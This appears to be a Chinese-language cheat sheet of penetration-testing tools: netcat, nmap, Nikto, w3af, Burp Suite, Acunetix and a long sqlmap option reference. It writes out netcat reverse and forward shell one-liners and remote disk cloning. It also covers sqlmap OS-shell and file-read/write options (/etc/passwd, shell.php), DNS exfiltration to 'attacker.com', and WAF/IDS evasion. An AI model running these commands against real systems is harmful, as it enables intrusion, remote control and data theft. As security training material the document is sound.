zoukankan      html  css  js  c++  java
  • 常用工具使用介绍

    端口扫描类:

    nc(重点)

    常用参数:
    -u:      指定为udp,默认监听的是tcp端口
    -n:      告诉netcat 不要使用DNS反向查询IP地址的域名
    -v:      详细输出
    -l:      用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
    -p:      指定具体端口
    1.查看端口是否开放以及banner信息 • nc –nv 1.1.1.1 80 2.NC——传输文本信息 • A:nc -l -p 4444        //Server端监听本机的4444端口 • B:nc –nv 1.1.1.1 4444     //Client端连接Server端的4444端口 3.NC——传输文件/目录 • 传输文件 • A:nc -lp 333 > 1.mp4 • B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1    //-q 1代表超过1秒没有回应就断开 • 或 • A:nc -q 1 -lp 333 < a.mp4 • B: nc -nv 1.1.1.1 333 > 2.mp4 • 传输目录 • A:tar -cvf - music/ | nc -lp 333 –q 1 • B:nc -nv 1.1.1.1 333 | tar -xvf – • 加密传文件 • A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4 • B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1 4.NC——流媒体服务 • A: cat 1.mp4 | nc -lp 333 • B: 1.1.1.1 333 | mplayer -vo x11 -cache 3000 - 5.NC——端口扫描 • nc -nvz 1.1.1.1 1-65535 • nc –vnzu 1.1.1.1 1-1024    //u表示UDP端口 6.NC——远程克隆硬盘 • A: nc -lp 333 | dd of=/dev/sda • B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1 • 远程电子取证,可以将目标服务器硬盘远程复制,或者内存。 7.NC——远程控制 • 正向shell: • A:nc -lp 333 -c bash • B:nc 1.1.1.1 333 • 反向shell: • A:nc -lp 333 • B:nc 1.1.1.1 333 -c bash • 注:Windows用户把bash改成cmd;
    正向shell打开的是服务端的shell终端,反向shell打开的是客户端的shell终端,因为防火墙的关系,通常反向shell用的比较多
    8.NC——NCAT • Nc缺乏加密和身份验证的能力 • Ncat包含于nmap工具包中 • A:ncat ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl • B:ncat -nv 1.1.1.1 333 --ssl

     更多nc命令详解

    nmap(重点)

    常用参数:
    P开头代表是使用Ping方式
    -PU      // UDP Ping方式
    -PA         // TCP ACK Ping方式
    s开头代表是使用扫描方式
    -sU          // UDP扫描
    -sS           // TCP SYN扫描
    -sT      //-sT (TCP connect()扫描)
    
    -O      //输出操作系统版本信息
    主机发现:
    nmap -sn 1.1.1.1-255        //批量扫描1-255
    nmap -iL iplist.txt -s         //根据txt文件地址进行扫描
    • nmap 1.1.1.1-254 -PU53 -sn     // -PU   UDP Ping方式
    • nmap 1.1.1.1-254 -PA80 –sn     //-PA    TCP ACK Ping方式
    • nmap -iL iplist.txt -PA80 -sn
    • nmap -sU 1.1.1.1          //-sU      UDP扫描
    • nmap 1.1.1.1 -sU -p 53
    • nmap -iL iplist.txt -sU -p 1-200
    隐蔽端口扫描
    • nmap -sS 1.1.1.1 -p 80,21,25,110,443     //-sS       TCP SYN扫描
    • nmap -sS 1.1.1.1 -p 1-65535 --open
    • nmap -sS 1.1.1.1 -p- --open
    • nmap -sS -iL iplist.txt -p 80,21,22,23
    全连接端口扫描
    • nmap -sT 1.1.1.1 -p 80     //-sT   -sT (TCP connect()扫描)
    • nmap -sT 1.1.1.1 -p 80,21,25
    • nmap -sT 1.1.1.1 -p 80-2000
    • nmap -sT -iL iplist.txt -p 80
    • 默认1000个常用端口
    • nc -nv -w 1 -z 192.168.60.4 1-100     //-n (不用域名解析)    -v (提高输出信息的详细度)
    • for x in $(seq 20 30); do nc -nv -w 1 -z 1.1.1.1 $x; done | grep open
    • for x in $(seq 1 254); do nc -nv -w 1 -z 1.1.1.$x 80; done
    nmap 172.16.36.135 -sI 172.16.36.134 -Pn -p 0-100    //-sl   僵尸扫描(不常用)
    服务扫描--banner
    nmap -sT 1.1.1.1 -p 22 --script=banner
    服务识别
    • nc -nv 1.1.1.1 80
    • nmap 1.1.1.1 -p 80 -sV
    操作系统
    nmap 1.1.1.1 -O 
    

    nmap中文手册

    nmap进阶(脚本篇)

    系统扫描类:

    Nessus(重点)

    OWASP ZAP (重点)

    openvas

    Web侦查类:

    Httrack      //下载克隆站点用的,减少与目标系统交互

    Web漏洞扫描类:

    Nikto (重点)

    • Perl语言开发的开源Web安全扫描器
    • 搜索存在安全隐患的文件
    • 服务器配置漏洞
    • WEB Application层面的安全隐患
    • 避免404错误
      • 很多服务器不遵守RFC标准,对于不存在的对象返回200状态码
      • 依据响应文件类型判断,不同扩展名的文件404响应内容不同
      • 去除时间信息后的内容取MD5值
      • -no404

    基本命令:
      • nikto -update      //更新nikto(网络允许的情况下做的第一步)     • cirt.net     • http://cirt.net/nikto/UPDATES   • nikto -list-plugins    //列出nikto里面的所有插件   • nikto -host http://1.1.1.1        • nikto -host 192.168.1.1 -ssl -port 443,8443,995   //带ssl方式和端口方式的扫描   • nikto -host host.txt     //通过一个列表文件批量进行扫描,列表文件格式支持:1、192.168.1.159  2、192.168.1.159:80  3、https://192.168.1.159:8443   • nmap -p80 192.168.1.0/24 -oG - | nikto -host -     //结合nmap一起使用   • nikto -host 192.168.1.1 -useproxy http://localhost:8087   //使用代理的方式进行扫描,也可以在配置文件里进行修改   • -vhos   • -evation    //使用Libwhisker中对IDS的躲避技术,可使用以下几种类型     1.随机URL编码(非UTF-8模式)     2.自选择路径(/./)     3.过早结束的URL     4.优先考虑长随机字符串     5.参数欺骗     6.使用TAB作为命令的分隔符     7.使用变化的URL     8.使用Windows路径分隔符"" Nikto-interactive      //nikto扫描的交互模式   • Space – report current scan status        • v – verbose mode on/off     //输出详细信息   • d – debug mode on/off     //debug调试模式   • e – error reporting on/off   • p – progress reporting on/off   • r – redirect display on/off   • c – cookie display on/off   • a – auth display on/off   • q – quit   • N – next host   • P - Pause Nikto配置文件   /etc/nikto.conf     USERAGENT=      //设置UA     STATIC-COOKIE="cookie1"="cookie value";"cookie2"="cookie valu”     //设置cookie,这样可以扫描需要登录后才能展示的页面

    Vega(图形化工具,偏代码层,kali自带)

    JAVA编写的WEB开源扫描器
    扫描模式
    代理模式
    爬站、代理表单、注入测试
    支持ssl:http://vege/ca.crt
    

    Skipfish(命令行工具,偏代码层扫描)

    C语言编写
    实验性的主动web安全评估工具
    递归爬网
    基于字典的探测
    速度较快
        多路单线程,全异步网络I/O,消除内存管理和调度开销
        启发式内容识别
    误报较低
    
    基本命令:    
    skipfish -o test  http://1.1.1.1        //将扫描结果输出到test文件
    skipfish -o test @url.txt             //以txt文件形式获取需要扫描的IP列表
    skipfish -o test -S complet.wl -W a.wl  http://1.1.1.1        //#字典
    -I:  只检查包含"String"的URL
    -X: 不检查包含"String"的URL
    -k:  不对指定参数进行fuzz测试
    -D:  跨站爬另外一个域
    -l: 每秒最大请求数
    -m: 每IP最大连接数
    --config: 指定配置文件
    
    
    • 身份认证
    • skipfish -A user:pass -o test http://1.1.1.1 
    • skipfish -C “name=val” -o test http://1.1.1.1             //通过扫描抓取获取字段名和值,放入name和val部分
    • Username / Password   
    
    命令示例:
    skipfish -o a --auth-form http://192.168.1.101/dvwa/login.php --auth-form-target http://192.168.1.101/dvwa/login.php
    --auth-user-field username --auth-user admin --auth-pass-field password --auth-pass 123456 --auth-verify-url http://192.168.1.101/dvwa/index.php -I dvwa http://192.168.1.101/dvwa/
    • 扫描结束太快 • 触发了目标站点的连接数限制,降低-m -l数值

    W3af(重点,支持图形和命令行,框架型,非常强大,kali2.0里自带版本执行扫描时挂死,需要手动重装)

    • Web Application Attack and Audit Framework,基于python 语言开发
    • 此框架的目标是帮助你发现和利用所有WEB应用程序漏洞
    • 9大类近150个plugin
      • audit        //审计相关
      • infrastructure    //基础架构相关
      • grep        //正则过滤相关
      • evasion      //规避规则相关
      • mangle 
      • auth        //认证相关
      • bruteforce      //暴力相关
      • output 
      • crawl 
    attack
    安装
    • cd ~
    • apt-get update
    • apt-get install -y python-pip w3af
    • apt-get install kali-linux-all      //参考,非必要 • pip install --upgrade pip • git clone https://github.com/andresriancho/w3af.git • cd w3af • ./w3af_console (./w3af_gui) • apt-get build-dep python-lxml  //这一步如果有问题是因为相关的python扩展包没有安装,请移步至第三章 • . /tmp/w3af_dependency_install.sh W3af • 升级   • git pull • 创建快捷方式   • /usr/share/applications/w3af.desktop • 用户接口   • Console   • Gui   • API • W3af_console   • help     #显示可用指令   • plugin     #进入plugin子命令     • Help     #显示可用命令     • list audit     #列出audit类所有插件     • audit sqli xss     #选择使用audit 下的sqli xss   • http-settings / misc-settings       #全局配置     • help         • view       #查看可配置的参数     • set        #设置参数     • back       #回到上一级 • Profiles      用于将设置的规则保存成一个文件,然后通过调用文件去执行   • save_as self-contained   • save_as test self-contained • Target      设置目标   • set target http://1.1.1.1/ • Start • Script   • script/*.w3af W3af——身份认证 • HTTP Basic    //基本验证,用户名和密码是Windows的用户名和密码 • NTLM      //NTLM验证,用户名和密码同上 • Form      //form表单验证,需要抓包获取字段名 • Cookie      //双因素身份认证 / anti-CSRF tokens 注:W3af的Cookie身份认证是需要通过文件配置的,对文件配置的要求相当严格 1.中间的字段分隔符不能用空格只能用tab 2.第5段数字那一段代表的是Unix时间戳(从1970年1月1日)开始,后面需要加2个0(因为不加的话你取当前的时间戳,过不了多久就会过期)

    格式如下图所示:

    • HTTP header file(另类的身份认证方法)

     W3af——截断代理
    
    • W3af 不支持客户端技术(Javascript、Flash、Java applet等)
    • 截断代理手动爬网
      • spider_man
      • output.export_requests
      • http://127.7.7.7/spider_man?terminate     //终止spider_man
    • crawl.import_results
      • base64
    
    W3af——其他特性
    
    • exploit
    • Fuzzy Requests
      • Numbers from 0 to 4: $range(5)$
      • First ten letters: $string.lowercase[:10]$
      • The words spam and eggs: $[’spam’, ’eggs’]$
      • The content of a file: $[l.strip() for l in file(’input.txt’)]$
    • Cluster responses
    

    Arachni(Dispatcher和Grid是其和其他扫描器最大的区别)

    • Kali自带了旧的arachni阉割版
    • 安装
      • http://www.arachni-scanner.com/download/#Linux
      • tar xvf arachni.tar.gz
      • http://localhost:9292/
        • admin@admin.admin / administrator

    • Profile
      • Import
      • Export
      • New
    • Dispatcher
      • ./arachni_rpcd --address=127.0.0.1 --port=1111 --nickname=test1  //新建扫描的时候选择advanced---->remote可以设定dispatcher(最好是用远程的),可以实现扫描时候的高可用,多条线路,如果某一条被服务器方的管理员给禁掉了,另外其他的会自动切换,nickname指我为这个dispatcher取个昵称
    • Grid
      • ./arachni_rpcd --nickname=test2 --address=127.0.0.1 --neighbour=127.0.0.1:1111    //将dispatcher分组,对目标机器进行扫描,分组的目的是可以做到负载均衡,内部会根据dispatcher具体情况自动分配任务给不同的dispatcher
    • Scan

    Owasp-zap(Web扫描必备工具)

    • Zed attack proxy
    • WEB Application集成渗透测试和漏洞挖掘工具
    • 开源免费跨平台,简单易用
    • 截断代理
    • 主动、被动扫描
    • Fuzzy、暴力破解
    • API
    • http://zap/

    • Persist Session                  // 持久会话
    • Mode——Safe、 Protected、Standard、ATTACK        // 安全模式
    • 升级add-ons                // 升级插件
    • Scan policy                // 扫描策略
    • Anti CSRF Tokens              
    • https——CA               //HTTPS证书
    • Scope / Contexts / filter          
    • Http Sessions——default session tokens & site session tokens  
    • Note / tag
    • Passive scan

    • 标准扫描工作流程
    • 设置代理
    • 手动爬网
    • 自动爬网
    • 主动扫描

    Burpsuite(重点,WEB扫描首选,必备工具)

    • Web安全工具中的瑞士军刀
    • 统一的集成工具发现全部现代WEB安全漏洞
    • PortSwigger 公司开发
      • Burp Free
      • Burp Professional
      • http://www.portswigger.net
    • 所有的工具共享一个能处理并显示HTTP消息的可扩展框架,模块之间无缝交换信息。
    • 字体

    • Proxy
      • Options
        • Invisible  (主机头 /多目标域名)    
        • CA     (导入/导出)       //证书相关
        • Intercept    (入站/出站)      // 截断,默认开启
        • Response modify            // 响应修改
    • Target
      • Scope(logout)
      • Filter
      • Comparing site map

     

    • Active / Passive Scan
    • Extender          //扩展模块很多都需要jython的支持,可以去下面的网址进行下载,在不了解其功能的情况下尽量少装,影响性能
      • BApp Store
        • Jython
        • https://www.jython.org/download
      • Option
      • Scan queue
      • Result

    Burpsuite——intruder      //重点,可以对于提交的页面进行指定的修改,如通过字典文件破解用户名和密码,最好是用Cluster bomb这种集群模式,需要提供2个字典,user.txt和password.txt然后会逐一进行匹配
    • POSITION

    • Sniper

    Battering ram

    • Pitchfork

    Cluster bomb

    Burpsuite——intruder
    • PAYLOAD      //下面是载荷的类型
      • Simple list    
      • Runtime file
      • Character substitution
      • Case modification
      • Character blocks
      • Numbers、Copy other payload
      • Dates、Brute forcer、Character frobber、Username generator
    • OPTIONS
      • Grep match

    Burpsuite——repeater      //重点,经常将请求的页面send至repeater,就可以对其内容进行任意修改然后重新提交给服务器,比如手动测试账号名和密码
    • Repeater
      • Request History
      • Change request method
      • Change body encoding
      • Copy as curl command
      • Convert selection
      • Repeater 菜单
        • Engagement tools——generate csrf PoC
        • Follow redirections
        • Process cookies in redirections

    Burpsuite——Sequencer        //比较少用,大概原理是如果你的sessionID经常变化,可以通过其内置的算法,来进行预测分析下一次可能生成的session ID值
    • 分析程序中可预测的数据
      • Session cookies
      • anti-CSRF tokens
      • Start live capture
        • Analyze(数据越多分析越准确)
        • 伪随机数算法
        • Character-level
        • Bit-level
    • FIPS—美国联邦信息处理标准(Federal Information Processing Standard)

    Burpsuite——编码*
    • Decoder
      • 使用各种编码绕过服务器端输入过滤
      • smart decode

    ACUNETIX WEB VULNERABILITY SCANNER(同burpsuite,主要也是web爬网和代理截断的作用,Windows平台下的首选,必备)

    • 自动手动爬网,支持AJAX,JAVASCRIPT
    • AcuSensor灰盒测试
      • 发现爬网无法发现文件
      • 额外的漏洞扫描
      • 可发现存在漏洞的源码编号
      • 支持 PHP 、 .NET(不获取源码的情况下注入已编编译.NET)
    • 生成PCI、27001标准合规报告
    • 网络扫描          //非擅长,扫描系统层的服务漏洞首选nessus
    • FTP, DNS, SMTP, IMAP, POP3, SSH, SNMP,Telnet
    • 集成openvas扫描漏洞

    • 爬站
    • 子域扫描器
    • 发现扫描器
    • SQL注入验证
    • Http editor
    • Http sniffer
    • HTTP Fuzzer          // 重点
    • 身份认证测试
    • 结果比较

    • AcuSensor 安装
      • 生成 agent文件 acu_phpaspect.php(PHP5.0以上)
      • 将文件拷贝到目标服务器,web程序可以访问到的目录
      • 修改 php.ini      // 搜索找到 auto_prepend_file这段,然后将生成的acu_phpaspect.php路径指定上去
        • php_value auto_prepend_file ’[path to acu_phpaspect.php file]’

    APPSCAN

    • Watchfire APPScan,2007年被IBM收购,成为IBM APPScan
    • 扫描过程
      • 探索阶段
      • 测试阶段
    • 第一个过程发现新的URL地址,下一个扫描过程自动开始
    • 软件安装
    • 向导方式
    • 完全配置

    • Glass box
      • 相当于 Acusensor
      • Agent收集服务器端源代码信息和其他数据
      • 主持JAVA 、.NET两种平台

    SQL注入类:

    SQLMAP(必备)

    命令参数

    Target类:
        -d   // sqlmap作为客户端直接连接数据库服务器的IP和端口(不是利用SQL漏洞连接)
        -u   // 指定要扫描的 URL 如:"http://www.site.com/vuln.php?id=1"  (后面必须带参数,仅仅支持Get方法)
        -l   // 从Burp 代理的日志文件里面导入进来让sqlmap扫描
        -x   // 通过远程的xml站点地图
        -m   // 通过指定文件扫描多个目标站点是否存在SQL注入漏洞
        -r     // 从一个文件加载http请求
        -g   // 利用GoogleHack来进行扫描
        -c   // 从一个配置文件加载选项
    
    • Get方法
      • sqlmap -u "http://192.168.20.10/mutillidae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username -f    // -p 扫描username这个参数是否有注入漏洞
    • 扫描URL列表文件
      • http://1.1.1.1/vuln1.php?q=foobar
        http://1.1.1.1/vuln3/id/1*
      • sqlmap -m list.txt
    • 扫描google搜索结果
      • sqlmap.py -g "inurl:".php?id=1""
    
    • POST方法
      • 使用http请求文件(burpsuite)
        • sqlmap -r request.txt
      • 使用burpsuite log文件
        • sqlmap -l log.txt
    • HTTPS
      • sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl  // 端口如果不是443,就指定端口8843
    • 扫描配置文件
      • sqlmap -c sqlmap.conf
    
     
    REQUEST类:
        --method    // 指定请求的方法,如GET,PUT
        --data            // GET、PUT方法都适用,填写你要传给服务器的参数,如:sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" -f
        --param-del   // 指定变量分隔符,默认是 &   如:sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f
        --cookie           // 设定cookie的值        如:sqlmap -u "http://1.1.1.1/a.php?id=1" --cookie="security=low; PHPSESSID=a8d127e.." -f
        --cookie-del=COO..  Character used for splitting cookie values (e.g. ;)
        --load-cookies=L..  File containing cookies in Netscape/wget format
        --drop-set-cookie   Ignore Set-Cookie header from response
        --user-agent    // 指定user-agent,默认是 sqlmap/1.0-dev-nongit-XXXXXXXXXX  level>=3
        --random-agent         // 使用随机agent,从/usr/share/sqlmap/txt/user-agents.txt选取  
        --host             // 指定host头的值,需要指定Level =5级别
        --referer      // http referer地址 level >= 3
        -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
        --headers      // 添加额外的http头部信息 如:Host、User-Agent   如:sqlmap -u “http://1.1.1.1/a.php?id=1” --headers="Host:www.a.com
    Accept-Language: fr
    "    注意大小写
        --auth-type    // 基于http协议协议的身份认证   HTTP 认证类型 (Basic, Digest(摘要身份认证), NTLM(基于Windows的) or PKI)  如:sqlmap. -u "http://1.1.1.1/a.php?id=1" --auth-type Basic --auth-cred "user:pass“
        --auth-cred    //  HTTP 认证证明 (name:password)
        --auth-file     // 基于客户端证书
        --ignore-code=IG..  Ignore (problematic) HTTP error code (e.g. 401)
        --ignore-proxy        // 忽略系统级代理设置,通常用于扫描本地网络目标
        --ignore-redirects  Ignore redirection attempts
        --ignore-timeouts   Ignore connection timeouts
        --proxy       // 使用代理      如:• sqlmap -u "http://1.1.1.1/a.php?id=1" --proxy="http://127.0.0.1:8087" -f
        --proxy-cred      // 代理认证证明(name:password)
        --proxy-file        // 通过文件设置代理
        --tor               Use Tor anonymity network
        --tor-port=TORPORT  Set Tor proxy port other than default
        --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
        --check-tor         Check to see if Tor is used properly
        --delay    // 设置延迟时间,有利于逃避对方的检测机制(单位为秒)
        --timeout   // 请求超时时间,浮点数,默认为30秒
        --retries    // 连接超时重试次数,默认3次
        --randomize  // 长度、类型与原始值保持一致的前提下,指定每次请求随机值取值的参数名
        --safe-url    // 结合--safe-freq参数一起使用,检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session;每发送--safe-freq次注入请求后,发送一次正常请求
        --safe-post=SAFE..  POST data to send to a safe URL
        --safe-req=SAFER..  Load safe HTTP request from a file
        --safe-freq=SAFE..  Test requests between two visits to a given safe URL
        --skip-urlencode      // 跳过URL编码,默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据
        --csrf-token=CSR..  Parameter used to hold anti-CSRF token
        --csrf-url=CSRFURL  URL address to visit for extraction of anti-CSRF token
        --force-ssl           // 强制使用SSL/HTTPS
        --chunked           Use HTTP chunked transfer encoded (POST) requests
        --hpp               Use HTTP parameter pollution method
        --eval    // 每次请求前执行指定的python代码,每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)
       示例:  sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import   hashlib;hash=hashlib.md5(id).hexdigest()"
    • --scope
      • 过滤日志内容,通过正则表达式筛选对象
      • sqlmap -l burp.log --scope="(www)?.target.(com|net|org)“
      • sqlmap -l 2.log --scope="(19)?.168.20.(1|10|100)" --level 3 --dbs
      • User-agent中的注入点
    
    Optimization类:
        -o                  Turn on all optimization switches
        --predict-output    Predict common queries output
        --keep-alive        Use persistent HTTP(s) connections
        --null-connection   Retrieve page length without actual HTTP response body
        --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)
    • 优化性能
    • --predict-output
      • 根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
      • 版本名、用户名、密码、Privileges、role、数据库名称、表名、列名
      • 与--threads参数不兼容
      • 统计表:/usr/share/sqlmap/txt/common-outputs.txt
    • --keep-alive
      • 使用http(s)长连接,性能好
      • 与 --proxy参数不兼容
      • 长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
    • --null-connection
      • 只获取相应页面的大小值,而非页面具体内容
      • 通常用于盲注判断  真 / 假,降低网络带宽消耗
      • 与--text-only参数不兼容(基于页面内容的比较判断 真/假)
    • --threads
      • 最大并发线程
      • 盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
      • 默认值为1,建议不要超过10,否则可能影响站点可用性
      • 与 --predict-output 参数不兼容
    • -o 开启前三个性能参数 (除--threads参数)
    
    INJECTION类:
        -p TESTPARAMETER    Testable parameter(s)
        --skip=SKIP         Skip testing for given parameter(s)
        --skip-static       Skip testing parameters that not appear to be dynamic
        --param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")
        --dbms=DBMS         Force back-end DBMS to provided value
        --dbms-cred=DBMS..  DBMS authentication credentials (user:password)
        --os=OS             Force back-end DBMS operating system to provided value
        --invalid-bignum    Use big numbers for invalidating values
        --invalid-logical   Use logical operations for invalidating values
        --invalid-string    Use random strings for invalidating values
        --no-cast           Turn off payload casting mechanism
        --no-escape         Turn off string escaping mechanism
        --prefix=PREFIX     Injection payload prefix string
        --suffix=SUFFIX     Injection payload suffix string
        --tamper=TAMPER     Use given script(s) for tampering injection data
    
    • -p
      • 指定扫描的参数,使--level失效
      • -p "user-agent, referer"
    • --skip
      • 排除指定的扫描参数
      • --level=5 --skip=“id,user-agent“
    • URI注入点
      • sqlmap -u “http://targeturl/param1/value1*/param2/value2*/"
    • --dbms=“mysql”   • MySQL <5.0>   • Oracle <11i>   • Microsoft SQL Server <2005>   • PostgreSQL   • Microsoft Access   • SQLite   • Firebird   • Sybase   • SAP MaxDB   • DB2 • --os   • Linux   • Windows • --invalid-bignum / --invalid-logical   • 通常sqlmap使用负值使参数取值失效 id=13 ---> id=-13   • bignum 使用大数使参数值失效 id= 99999999   • Logical 使用布尔判断使取值失效 id=13 AND 18=19 • --no-cast   • 榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果   • 老版本mysql数据库需要开启此开关 • --no-escape   • 处于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串   • SELECT 'foo' --> SELECT CHAR(102)+CHAR(111)+CHAR(111)   • 本参数将关闭此功能 • --prefix / --suffix   • $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";   • sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc“   • query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1"; • --tamper   • 混淆脚本,用于绕过应用层过滤、IPS、WAF   • sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="tamper/ between.py,tamper/randomcase.py,tamper/space2comment.py" -v 3 DETECTION类: Detection: These options can be used to customize the detection phase --level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (1-3, default 1) --string=STRING String to match when query is evaluated to True --not-string=NOT.. String to match when query is evaluated to False --regexp=REGEXP Regexp to match when query is evaluated to True --code=CODE HTTP code to match when query is evaluated to True --text-only Compare pages based only on the textual content --titles Compare pages based only on their titles • --level   • 1-5级,(默认1)   • /usr/share/sqlmap/xml/payloads • --risk   • 1-4 (默认1 / 无害)   • Risk升高可造成数据被篡改等风险(update) • --string, --not-string, --regexp, --code, --text-only, --titles   • 页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串。 Technique类: These options can be used to tweak testing of specific SQL injection techniques --technique=TECH SQL injection techniques to use (default "BEUSTQ") --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) --union-cols=UCOLS Range of columns to test for UNION query SQL injection --union-char=UCHAR Character to use for bruteforcing number of columns --union-from=UFROM Table to use in FROM part of UNION query SQL injection --dns-domain=DNS.. Domain name used for DNS exfiltration attack --second-url=SEC.. Resulting page URL searched for second-order response --second-req=SEC.. Load second-order HTTP request from file • 默认使用全部技术 • B: Boolean-based blind • E: Error-based • U: Union query-based • S: Stacked queries(文件系统、操作系统、注册表必须) • T: Time-based blind • --time-sec   • 基于时间的注入检测相应延迟时间(默认5秒) • --union-cols   • 默认联合查询 1-10列,随--level增加最多支持50列   • --union-cols 6-9 • --union-char   • 联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值   • --union-char 123 • --dns-domain   • 攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度   • --dns-domain attacker.com • --second-url   • 在一个页面注入的结果,从另一个页面体现出来   • --second-url http://1.1.1.1/b.php Fingerprinter类: -f, --fingerprint   Perform an extensive DBMS version fingerprint • -f , --fingerprint, -b , --banner • 数据库管理系统指纹信息 • DBMS, 操作系统,架构,补丁
    Enumeration类: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements -a, --all   // 返回所有信息 -b, --banner // 返回数据库banner信息 --current-user // 返回当前数据库用户 --current-db // 返回当前数据库 --hostname // 返回当前主机名 --is-dba --users // 返回数据库中存在的用户 --passwords // 枚举数据库用户密码哈希值 --privileges // 枚举数据库用户权限 --roles // 枚举数据库用户角色 --dbs // 枚举所有数据库 --tables // 枚举数据表 --columns // 枚举列 --schema // 枚举数据库的schema信息 --count // 统计数据表有多少条数据 --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries --search Search column(s), table(s) and/or database name(s) --comments Check for DBMS comments during enumeration -D DB // 指定数据库 -T TBL // 指定表 -C COL DBMS database table column(s) to enumerate -X EXCLUDE DBMS database identifier(s) to not enumerate -U USER DBMS user to enumerate --exclude-sysdbs // 枚举表的时候排除系统数据库 --pivot-column=P.. Pivot column name --where=DUMPWHERE Use WHERE condition while table dumping --start=LIMITSTART First dump table entry to retrieve --stop=LIMITSTOP Last dump table entry to retrieve --first=FIRSTCHAR First query output word character to retrieve --last=LASTCHAR Last query output word character to retrieve --sql-query=QUERY SQL statement to be executed --sql-shell Prompt for an interactive SQL shell --sql-file=SQLFILE Execute SQL statements from given file(s)
    BRUTE FORCE类: • Mysql < 5.0 , 没有information_schema 库 • Mysql >= 5.0 但无权读取information_schema 库 • 微软的access数据库,默认无权读取MSysObjects 库 • --common-tables • --common-columns (Access系统表无列信息) UDF INJECTION类:(用户定义函数注入类),高级用法,对SQL层面要求较高 • --udf-inject , --shared-lib   • 编译共享库创建并上传至 DB Server,以此生成UDF实现高级注入   • Linux : shared object   • Windows :DLL   • http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857    查询相应信息 FILE SYSTEM类: • --file-read="/etc/passwd"    // 读取/etc/passwd文件 • --file-write="shell.php" --file-dest "/tmp/shell.php"  // 写入文件 OS类: • Mysql 、postgresql   • 上传共享库并生成sys_exec()、sys_eval()两个UDF • Mssql   • xp_cmdshell 存储过程(有就用,禁了启,没有建) • --sql-shell • --os-shell • --os-cmd WINDOWS REGISTORY类: These options can be used to access the back-end database management system Windows registry --reg-read // 读取注册表的键值 --reg-add // 向注册表添加键值 --reg-del // 删除注册表的键值 --reg-key     --reg-value --reg-data --reg-type • sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINESOFTWAREsqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 GENERAL类: These options can be used to set some general working parameters
    -s      // sqlite会话文件保存位置 -t       // 记录流量文件保存位置 --batch // 非交互模式,需要人工选择的时候按默认选项 --binary-fields=.. Result fields having binary values (e.g. "digest") --check-internet Check Internet connection before assessing the target --crawl    // 从起始位置爬站深度,--batch --crawl=3 --crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout") --csv-del=CSVDEL dump数据默认存放于” ,”分割的CSV文件中,指定其他分隔符。如: --csv-del=";" --charset     // 强制字符编码, --charset=GBK --dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE) --encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK) --eta Display for each output the estimated time of arrival --flush-session // 清空session --forms Parse and test forms on target URL --fresh-queries // 忽略session查询结果 --har=HARFILE Log all HTTP traffic into a HAR file --hex // dump非ASCII字符内容时,将其编码为16进制形式,收到后还原。如:sqlmap -u "http://1.1.1.1/s.php?id=1" --hex -v 3 --output-dir    // 指定output输出目录 --parse-errors // 分析和现实数据库内建报错信息 sqlmap.py -u "http://1.1.1.1/sqlmap/a.asp?id=1" --parse-errors --preprocess=PRE.. Use given script(s) for preprocessing of response data --repair Redump entries having unknown character marker (?) --save    // 将这些命令保存成配置文件 --scope=SCOPE Regexp to filter targets from provided proxy log --test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW) --test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK) --update // 更新sqlmap
